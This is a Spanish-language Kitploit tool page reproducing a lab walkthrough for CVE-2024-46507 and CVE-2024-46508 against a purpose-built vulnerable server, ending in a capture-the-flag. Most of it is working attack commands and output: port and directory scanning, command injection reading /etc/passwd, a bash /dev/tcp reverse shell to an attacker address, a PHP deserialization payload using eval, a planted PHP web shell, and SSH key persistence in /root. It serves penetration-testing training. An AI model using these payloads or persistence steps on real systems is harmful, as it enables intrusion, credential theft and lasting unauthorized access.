Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-46507 — build-script para CVE-2024-46507 y CVE-2024-46508 | Kitploit
Herramientas/GitHubGitHub/somchandra17/cve-2024-46507
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónLabs y Práctica
GitHubsomchandra17/cve-2024-46507

CVE-2024-46507

build-script para CVE-2024-46507 y CVE-2024-46508

116hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

El script fue probado y construido en Ubuntu Server 20.04 LTS, mientras que Kali Linux se utilizó para la explotación y el recorrido.

Este recorrido te guía a través de la explotación del servidor vulnerable que contiene las vulnerabilidades CVE-2024-46507 (inyección de comandos) y CVE-2024-46508 (bypass de autenticación).

Reconocimiento inicial

Primero, exportemos la dirección IP del objetivo como una variable. Reemplázala con la IP real de tu objetivo:

root@kitploit:~
export TARGET="192.168.65.129"

Escaneo de puertos

Comencemos identificando los servicios abiertos en el objetivo:

root@kitploit:~
# Escaneo rápido inicial de puertos comunes
sudo nmap -sS -T4 $TARGET

# Escaneo completo de puertos para asegurarnos de no perdernos nada
sudo nmap -sS -p- -T4 $TARGET

# Escaneo detallado de los puertos descubiertos con detección de versión de servicios
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt

Salida esperada del escaneo detallado:

root@kitploit:~
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
|   256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_  256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración de la aplicación web

Exploremos la aplicación web en los puertos descubiertos:

root@kitploit:~
# Comprobar el puerto 80 (Apache)
firefox http://$TARGET/

# Comprobar el puerto 9000 (servidor SimpleHTTP de Python)
firefox http://$TARGET:9000/

Ambos apuntan al mismo contenido de la aplicación. Descubramos más sobre la estructura de la aplicación:

root@kitploit:~
# Usar gobuster para encontrar directorios y archivos
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Salida esperada:

root@kitploit:~
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.65.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 805]
/api                  (Status: 301) [Size: 0] [--> /api/]

Veamos qué hay en el directorio de la API:

root@kitploit:~
# Usar gobuster para encontrar endpoints de la API
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

O simplemente puedes abrirlo en el navegador.

Salida esperada:

root@kitploit:~
/process.php (Status: 200)

Explotando CVE-2024-46507 (Inyección de comandos)

A partir de nuestro reconocimiento, hemos descubierto el endpoint /api/process.php. La interfaz web muestra un formulario que se envía a este endpoint con un parámetro "command".

Probemos la inyección de comandos:

root@kitploit:~
# Probar con un comando simple
curl "http://$TARGET:9000/api/process.php?command=id"

Salida esperada:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

¡Éxito! La aplicación está ejecutando nuestros comandos. Veamos qué más podemos acceder:

root@kitploit:~
# Listar el contenido del directorio
curl "http://$TARGET/api/process.php?command=ls+-la"

# Explorar el sistema
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"

Salida:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false 

Ahora, obtengamos una reverse shell. Primero, configura un listener en tu máquina Kali:

root@kitploit:~
# Iniciar un listener de netcat
nc -lvnp 4444

Luego, envía un comando de reverse shell:

root@kitploit:~
# Codificar en URL el payload de reverse shell
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Reemplaza YOUR_KALI_IP con la IP real de tu máquina Kali

curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php

¡Ahora deberías tener una shell como el usuario www-data! Mejoremos a una shell más cómoda:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Presiona Ctrl+Z para poner la shell en segundo plano
# Luego, en tu terminal de Kali:
stty raw -echo; fg
# Presiona Enter dos veces

Escalada de privilegios mediante CVE-2024-46508

Ahora que tenemos una shell, busquemos archivos sensibles:

root@kitploit:~
# Comprobar la configuración de la aplicación
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf

Descubrimos credenciales por defecto:

  • Usuario: admin
  • Contraseña: admin

Busquemos credenciales de la base de datos:

root@kitploit:~
# Buscar credenciales de la base de datos
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;

Esto debería revelar los detalles de conexión de la base de datos. Accedamos a la base de datos:

root@kitploit:~
# Conectarse a MariaDB
mysql -u vulnuser -p'password123' vulnapp

Una vez conectados, exploremos la base de datos:

root@kitploit:~
-- Mostrar tablas
SHOW TABLES;

-- Ver la tabla de usuarios
SELECT * FROM users;

Deberíamos encontrar un usuario administrador con una contraseña "supersecretpassword". Intentemos usar esto para obtener acceso root:

root@kitploit:~
# Intentar cambiar a root
su root
# Ingresa la contraseña: supersecretpassword

Si el método su no funciona, busquemos otros vectores de escalada de privilegios:

root@kitploit:~
# Comprobar permisos sudo
sudo -l

# Buscar binarios SUID
find / -perm -u=s -type f 2>/dev/null

# Comprobar trabajos cron
cat /etc/crontab
ls -la /etc/cron*

Un método adicional es intentar el acceso SSH con las credenciales descubiertas:

root@kitploit:~
# Desde tu máquina Kali
ssh root@$TARGET
# Ingresa la contraseña: supersecretpassword

Capturando la bandera

Una vez que tengamos acceso root, deberíamos encontrar la bandera:

root@kitploit:~
# Buscar archivos de bandera
find / -name "*.txt" 2>/dev/null | grep -v "proc"

# Leer la bandera
cat /root/flag.txt

Salida esperada:

root@kitploit:~
f1a9d4c2b7e35680d2f1a9c3b7d45e80

Explotación alternativa: Deserialización de PHP

La aplicación también es vulnerable a ataques de deserialización de PHP. Creemos un objeto serializado malicioso:

root@kitploit:~
<?php
// Guardar como exploit.php en tu máquina Kali
class Exploit {
    public $command = 'system("cat /root/flag.txt");';
    
    public function __destruct() {
        eval($this->command);
    }
}

$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>

Genera el payload:

root@kitploit:~
php exploit.php

Esto generará un objeto serializado codificado en base64. Enviémoslo al servidor:

root@kitploit:~
# Guarda la salida del comando anterior como PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php

El servidor debería ejecutar nuestro código y mostrar la bandera.

Explotación avanzada: Persistencia

Para un punto de apoyo más permanente, podemos crear una web shell:

root@kitploit:~
# Como usuario www-data, crear una web shell PHP
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php

# Acceder desde Kali
curl "http://$TARGET/shell.php?cmd=id"

También podemos agregar una clave SSH para acceso root persistente:

root@kitploit:~
# En Kali, generar un par de claves SSH
ssh-keygen -t rsa -f vulnserver_key

# En el objetivo como root, agregar nuestra clave pública
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Luego conectarse desde Kali
ssh -i vulnserver_key root@$TARGET

Resumen de vulnerabilidades

Este servidor era vulnerable a dos problemas principales:

  1. CVE-2024-46507: Vulnerabilidad de inyección de comandos en el endpoint de la API process.php que nos permitió ejecutar comandos arbitrarios.

  2. CVE-2024-46508: Bypass de autenticación y escalada de privilegios debido a:

    • Credenciales por defecto habilitadas
    • Contraseña débil de la base de datos
    • Reutilización de contraseñas en diferentes sistemas
Descargar herramienta